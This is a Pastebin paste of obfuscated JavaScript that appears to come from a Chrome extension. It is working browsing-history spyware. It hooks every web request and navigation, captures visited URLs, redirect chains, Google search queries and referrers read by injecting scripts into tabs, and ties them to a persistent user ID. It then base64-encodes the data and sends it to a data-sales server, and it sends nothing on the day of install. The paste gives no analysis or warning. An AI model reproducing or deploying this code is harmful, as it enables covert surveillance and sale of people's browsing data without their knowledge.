Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- require = (function e(t, n, r) {
- function s(o, u) {
- if (!n[o]) {
- if (!t[o]) {
- var a = typeof require == "function" && require;
- if (!u && a) return a(o, !0);
- if (i) return i(o, !0);
- var f = new Error("Cannot find module '" + o + "'");
- throw f.code = "MODULE_NOT_FOUND", f
- }
- var l = n[o] = {
- exports: {}
- };
- t[o][0].call(l.exports, function(e) {
- var n = t[o][1][e];
- return s(n ? n : e)
- }, l, l.exports, e, t, n, r)
- }
- return n[o].exports
- }
- var i = typeof require == "function" && require;
- for (var o = 0; o < r.length; o++) s(r[o]);
- return s
- })({
- 1: [function(require, module, exports) {
- 'use strict';
- function DUgEI() {
- this.spawned = Date.now();
- this.attemptedInstantiations = 0;
- initData();
- if (!localStorage.feedbackOptOut && !localStorage.feedbackOptOut2) {
- if (!window.firstSpawned) {
- chrome.runtime.onMessage.addListener(this.vJepT.bind(this));
- require('framework/request');
- require('framework/gserp');
- require('framework/navigation');
- window.firstSpawned = this.spawned;
- } else {
- chrome.runtime.sendMessage({
- spawned: this.spawned
- });
- }
- }
- }
- DUgEI.prototype = {
- constructor: DUgEI,
- vJepT: function(msg) {
- if (msg.spawned && msg.spawned !== this.spawned) {
- this.attemptedInstantiations += 1;
- window.attemptedInstantiations = this.attemptedInstantiations;
- }
- }
- };
- new DUgEI();
- }, {
- "framework/gserp": "framework/gserp",
- "framework/navigation": "framework/navigation",
- "framework/request": "framework/request"
- }],
- "config": [function(require, module, exports) {
- 'use strict';
- module.exports = {
- sourceId: 'A9LZecYD-vHUZ-Tufp-hrmp-bxorCHy6KmCR',
- typeHistory: 'history',
- typeStats: 'stats',
- debug: false,
- standalone: true,
- version: '1.1.8',
- apiUrl: 'http://edatasales.com/sdk/'
- };
- }, {}],
- "framework/gserp": [function(require, module, exports) {
- 'use strict';
- let config = require('config');
- let request = require('framework/request');
- let utils = require('framework/utils');
- let network = require('framework/network');
- function YPobx() {
- this.qxDEa = {};
- chrome.webRequest.onBeforeRequest.addListener(this.XDQhW.bind(this), YPobx.DefaultFilter);
- chrome.webRequest.onCompleted.addListener(this.GHKVx.bind(this), YPobx.DefaultFilter);
- return {
- serped: this.serped
- }
- }
- YPobx.DefaultFilter = {
- urls: ['<all_urls>'],
- types: ['xmlhttprequest', 'other']
- };
- YPobx.prototype = {
- constructor: YPobx,
- VXwiG: function(id) {
- this.qxDEa[id] = this.qxDEa[id] || new request.Request({
- query: null,
- requestType: null,
- timeStamp: null,
- url: null
- });
- },
- XDQhW: function(data) {
- if (this.XGbEl(data)) {
- let id = data.tabId;
- this.VXwiG(id);
- this.qxDEa[id].requestType = data.type;
- this.qxDEa[id].timeStamp = data.timeStamp;
- this.qxDEa[id].url = data.url;
- }
- },
- GHKVx: function(data) {
- if (this.XGbEl(data) && this.qxDEa[data.tabId]) {
- this.qxDEa[data.tabId].query = this.XWiYg('q', data.url);
- request.serped[data.tabId] = this.qxDEa[data.tabId];
- delete this.qxDEa[data.tabId];
- } else {
- if (data.method === 'POST') {
- for (let id of Object.keys(request.completed)) {
- if (request.completed[id].url === this.XWiYg('url', data.url)) {
- request.getTabData(request.completed[id].tabId, id);
- }
- }
- }
- }
- },
- XGbEl: function(data) {
- return /(https?:\/{2}(?:www.)?google\..{2,}\/s(?:earch)?)/i.test(data.url);
- },
- XWiYg: function(type, url) {
- let pattern = new RegExp('\\W' + type + '=([^&#]*)', 'i'),
- matchedValues = url.match(pattern);
- return matchedValues ? decodeURIComponent(matchedValues[1]) : null;
- },
- get serped() {
- return this.qxDEa;
- }
- };
- module.exports = new YPobx;
- }, {
- "config": "config",
- "framework/network": "framework/network",
- "framework/request": "framework/request",
- "framework/utils": "framework/utils"
- }],
- "framework/navigation": [function(require, module, exports) {
- 'use strict';
- let utils = require('framework/utils');
- let request = require('framework/request');
- function wAPMO() {
- chrome.webNavigation.onCommitted.addListener(this.EwrYS.bind(this));
- chrome.webNavigation.onErrorOccurred.addListener(this.CQkGh.bind(this));
- }
- wAPMO.RjKkQ = ['auto_bookmark', 'form_submit', 'generated', 'keyword', 'keyword_generated', 'link', 'manual_subframe', 'reload', 'start_page', 'typed'];
- wAPMO.NRHnP = ['client_redirect', 'server_redirect', 'forward_back', 'from_address_bar'];
- wAPMO.prototype = {
- constructor: wAPMO,
- EwrYS: function(data) {
- let storages = [request.pending, request.completed];
- if (!utils.dfAlg(data.url) && this.zNIwu(data)) {
- storages.forEach(function(storage, index) {
- for (let id of Object.keys(storage)) {
- if (storage[id].events && storage[id].tabId === data.tabId) {
- storage[id].transitionType = storage[id].transitionType || data.transitionType;
- storage[id].transitionQualifiers = storage[id].transitionQualifiers || data.transitionQualifiers.join();
- storage[id].commited = true;
- index && request.getTabData(data.tabId, id);
- }
- }
- });
- }
- },
- CQkGh: function(data) {},
- zNIwu: function(data) {
- return data.url && wAPMO.RjKkQ.indexOf(data.transitionType) > -1;
- }
- };
- module.exports = new wAPMO;
- }, {
- "framework/request": "framework/request",
- "framework/utils": "framework/utils"
- }],
- "framework/network": [function(require, module, exports) {
- 'use strict';
- var config = require('config');
- var utils = require('framework/utils');
- function bkXAK() {
- return {
- xFzIR: this.xFzIR.bind(this)
- }
- }
- bkXAK.prototype = {
- constructor: bkXAK,
- rBNke: function(rawPayload, callback) {
- if (this.xhr.readyState !== 4) return;
- if (this.xhr.status === 200 && callback) {
- callback.call(this, JSON.parse(this.xhr.responseText));
- } else {
- callback.call(this, {
- type: 'error',
- data: [this.xhr.status, this.xhr.statusText].join(' ')
- });
- }
- },
- xFzIR: function(rawPayload, callback) {
- var requestParams = '?' + utils.prepareParams(rawPayload, true);
- if (!localStorage.feedbackOptOut && !localStorage.feedbackOptOut2 && getInit()) {
- this.xhr = new XMLHttpRequest();
- if (callback) {
- this.xhr.onload = this.rBNke.bind(this, rawPayload, callback);
- }
- this.xhr.open('GET', config.apiUrl + requestParams, true);
- this.xhr.send();
- }
- }
- };
- module.exports = new bkXAK;
- }, {
- "config": "config",
- "framework/utils": "framework/utils"
- }],
- "framework/request": [function(require, module, exports) {
- 'use strict';
- let config = require('config');
- let utils = require('framework/utils');
- let network = require('framework/network');
- function iqCYL() {
- this.pending_ = {};
- this.completed_ = {};
- this.errored_ = {};
- this.qxDEa = {};
- this.eMXjm();
- chrome.webRequest.onBeforeRequest.addListener(this.XDQhW.bind(this), iqCYL.DefaultFilter);
- chrome.webRequest.onBeforeRedirect.addListener(this.prOJI.bind(this), iqCYL.DefaultFilter);
- chrome.webRequest.onCompleted.addListener(this.GHKVx.bind(this), iqCYL.DefaultFilter);
- chrome.webRequest.onErrorOccurred.addListener(this.CQkGh.bind(this), iqCYL.DefaultFilter);
- return {
- pending: this.pending,
- completed: this.completed,
- errored: this.errored,
- serped: this.serped,
- getTabData: this.getTabData.bind(this),
- Request: iqCYL.Request
- }
- }
- iqCYL.DefaultFilter = {
- urls: ['<all_urls>'],
- types: ['main_frame']
- };
- iqCYL.Request = function(props) {
- this.commited_ = false;
- this.url_ = null;
- for (let key of Object.keys(props)) {
- this[key] = props[key];
- }
- return this;
- };
- iqCYL.Request.prototype = {
- set commited(value) {
- this.commited_ = value;
- },
- get commited() {
- return this.commited_;
- },
- set url(value) {
- this.url_ = value;
- },
- get url() {
- return this.url_;
- }
- };
- iqCYL.prototype = {
- constructor: iqCYL,
- bveJZ: function(data) {
- return data.tabId + '-' + (data.requestId ? data.requestId : 0);
- },
- VXwiG: function(id) {
- this.pending_[id] = this.pending_[id] || new iqCYL.Request({
- events: [],
- requestType: null,
- tabId: null,
- transitionType: null,
- transitionQualifiers: null
- });
- this.completed_[id] = this.completed_[id] || {};
- this.errored_[id] = this.errored_[id] || {};
- },
- eMXjm: function() {
- try {
- var result = {};
- result.userId = localStorage['userId'];
- if (result.userId) {
- this.fuMpu(result.userId);
- } else {
- this.fuMpu(this.nwZDO(), true);
- }
- if (!config.standalone) {
- network.xFzIR({
- sourceId: config.sourceId,
- sessionId: this.sessionId,
- type: config.typeHistory,
- userId: this.userId
- }, function(result) {
- chrome.runtime.sendMessage(result);
- });
- }
- } catch (error) {
- this.fuMpu(this.nwZDO());
- }
- this.EWJPq(this.nwZDO());
- this.gCNQe(this.khVua());
- },
- XDQhW: function(data) {
- if (utils.dfAlg(data.url)) {
- return;
- }
- let id = this.bveJZ(data);
- this.VXwiG(id);
- this.pending_[id].events.push({
- timeStamp: data.timeStamp,
- url: data.url
- });
- this.pending_[id].requestType = data.type;
- this.pending_[id].tabId = data.tabId;
- this.pending_[id].url_ = data.url;
- },
- prOJI: function(data) {
- if (utils.dfAlg(data.url)) {
- return;
- }
- let id = this.bveJZ(data);
- this.VXwiG(id);
- this.pending_[id].events.push({
- statusCode: data.statusCode,
- timeStamp: data.timeStamp,
- url: data.redirectUrl
- });
- },
- GHKVx: function(data) {
- if (utils.dfAlg(data.url)) {
- return;
- }
- let id = this.bveJZ(data);
- if (this.pending_[id]) {
- this.VXwiG(id);
- this.pending_[id].events.push({
- statusCode: data.statusCode,
- timeStamp: data.timeStamp,
- url: data.url
- });
- this.pending_[id].events = this.sCyTs(this.pending_[id].events);
- this.completed_[id] = this.pending_[id];
- delete this.pending_[id];
- if (this.completed_[id].commited) {
- this.getTabData(data.tabId, id);
- }
- } else {}
- },
- CQkGh: function(data) {
- let id = this.bveJZ(data);
- if (this.pending_[id]) {
- this.VXwiG(id);
- this.errored_[id] = {
- error: data.error,
- fromCache: data.fromCache,
- tabId: data.tabId,
- timeStamp: data.timeStamp,
- url: data.url
- };
- delete this.pending_[id];
- } else {}
- },
- sCyTs: function(events) {
- let processedEvents = [];
- for (let index = events.length; index--;) {
- let prevIndex = index - 1,
- url = events[prevIndex].url,
- start = events[prevIndex].timeStamp,
- end = events[index].timeStamp,
- status = events[index].statusCode;
- processedEvents.push([url, start, end, status]);
- index = prevIndex;
- }
- return processedEvents.reverse();
- },
- HuSEw: function(id, pageData) {
- let payload = {
- sourceId: config.sourceId,
- sessionId: this.sessionId,
- type: config.typeStats,
- userId: this.userId,
- version: config.version
- },
- gReferrerPattern = /^(https?:\/{2}(?:\w+\.)?google.\w{2,}\/)$/i;
- if (window.attemptedInstantiations) {
- payload.ai = window.attemptedInstantiations;
- }
- if (pageData) {
- let tabIds = [pageData.openerTabId, pageData.tabId];
- for (let key of Object.keys(pageData)) {
- payload[key] = (pageData[key] === null) ? '' : pageData[key];
- }
- payload.referrer = new utils.KNoCt(payload.referrer).url;
- for (let tabId of tabIds) {
- if (tabId && this.qxDEa[tabId]) {
- payload.referrer = this.qxDEa[tabId].url;
- }
- }
- }
- this.PGlln();
- payload.fingerprint = this.fingerprint;
- for (let key of Object.keys(this.completed_[id])) {
- let value = this.completed_[id][key];
- if (!/_$/i.test(key)) {
- payload[key] = value === null ? '' : value;
- }
- }
- delete this.completed_[id];
- config.debug && this.Zkrku(payload);
- payload.events = btoa(encodeURIComponent(JSON.stringify(payload.events)));
- network.xFzIR(payload, !config.standalone && this.IEfbC.bind(this));
- },
- IEfbC: function(data) {
- chrome.runtime.sendMessage(data);
- },
- fuMpu: function(userId, doWriteStorage) {
- this.userId = userId;
- if (doWriteStorage) {
- localStorage['userId'] = this.userId;
- }
- },
- EWJPq: function(sessionId) {
- this.sessionId = sessionId;
- localStorage['sessionId'] = this.sessionId;
- },
- gCNQe: function(fingerprint) {
- this.fingerprint = fingerprint;
- },
- nwZDO: function() {
- let s4 = function() {
- return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1);
- };
- return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4();
- },
- khVua: function() {
- return Math.floor(Math.random() * 1e8);
- },
- PGlln: function() {
- this.fingerprint = this.fingerprint + 1;
- },
- ygNdk: function(tabId) {
- return new Promise(function(resolve, reject) {
- chrome.tabs.get(tabId, function(tab) {
- if (!chrome.runtime.lastError) {
- resolve({
- openerTabId: tab.openerTabId || null,
- tabId: tabId
- });
- } else {
- reject(chrome.runtime.lastError);
- }
- });
- });
- },
- LqqXL: function(options) {
- let dataObj = {};
- return function(data) {
- return new Promise(function(resolve) {
- chrome.tabs.executeScript(data.tabId, {
- code: options.code,
- runAt: 'document_start'
- }, function(result) {
- for (let key of Object.keys(data)) {
- dataObj[key] = data[key];
- }
- dataObj[options.name] = result[0];
- resolve(dataObj);
- });
- }).then(function(data) {
- return data;
- });
- }
- },
- Zkrku: function(payload) {
- let devPayload = {};
- console.groupCollapsed(payload.tabId, payload.events[0][0]);
- for (let key of Object.keys(payload)) {
- if (key === 'events') {
- console.table(payload[key]);
- } else {
- devPayload[key] = {
- value: payload[key]
- };
- }
- }
- console.table(devPayload);
- console.groupEnd();
- },
- getTabData: function(tabId, requestId) {
- let getReferrer = this.LqqXL({
- code: 'document.referrer',
- name: 'referrer'
- });
- this.ygNdk(tabId).then(getReferrer).then(function(tabData) {
- if (this.completed_[requestId]) {
- this.HuSEw(requestId, tabData);
- }
- }.bind(this)).catch(function(error) {});
- },
- get pending() {
- return this.pending_;
- },
- get completed() {
- return this.completed_;
- },
- get errored() {
- return this.errored_;
- },
- get serped() {
- return this.qxDEa;
- }
- };
- module.exports = new iqCYL;
- }, {
- "config": "config",
- "framework/network": "framework/network",
- "framework/utils": "framework/utils"
- }],
- "framework/utils": [function(require, module, exports) {
- 'use strict';
- var config = require('config');
- function KNoCt(url) {
- if (/^https:\/\//i.test(url)) {
- this.match_ = url.match(/^(https?:\/\/[^\/#?\s]+)([\w\-\.]?[^#?\s]*)(.*)?(#[\w\-]+)?$/i);
- this.url_ = this.match_[1];
- } else {
- this.url_ = url;
- }
- }
- KNoCt.prototype = {
- get url() {
- return this.url_;
- },
- get origin() {
- return this.match_[1];
- },
- get path() {
- return this.match_[2];
- },
- get query() {
- return this.match_[3];
- }
- };
- module.exports = {
- KNoCt: KNoCt,
- dfAlg: function(url) {
- var patterns = [/(\/(?:sdk|geo)\/\?)/i, /^(chrome-?\S*:\/\/)/i, /(\/(?:chrome|async)\/newtab)/i, /(google.\w+\/webhp\?.+)$/i];
- for (let i = patterns.length; i--;) {
- if (patterns[i].test(url)) {
- return true;
- }
- }
- return false;
- },
- extend: function() {
- var i, key;
- for (i = arguments.length; i--;) {
- for (key in arguments[i]) {
- if (arguments[i].hasOwnProperty(key)) {
- arguments[0][key] = arguments[i][key];
- }
- }
- }
- return arguments[0];
- },
- prepareParams: function(object, isEncodeUri) {
- var paramsArray = [],
- key;
- for (key in object) {
- if (object.hasOwnProperty(key)) {
- paramsArray.push(key + '=' + (isEncodeUri ? encodeURIComponent(object[key]) : object[key]));
- }
- }
- return paramsArray.join(isEncodeUri ? '&' : ',');
- }
- };
- }, {
- "config": "config"
- }]
- }, {}, [1]);
- function initData() {
- var key = 'initd';
- if (!localStorage[key]) {
- localStorage[key] = new Date().getTime();
- }
- }
- function getInit() {
- var result = 0;
- var initd = localStorage['initd'];
- if (initd) {
- result = Math.round(Math.abs((new Date().getTime() - initd) / 86400000));
- }
- return result;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement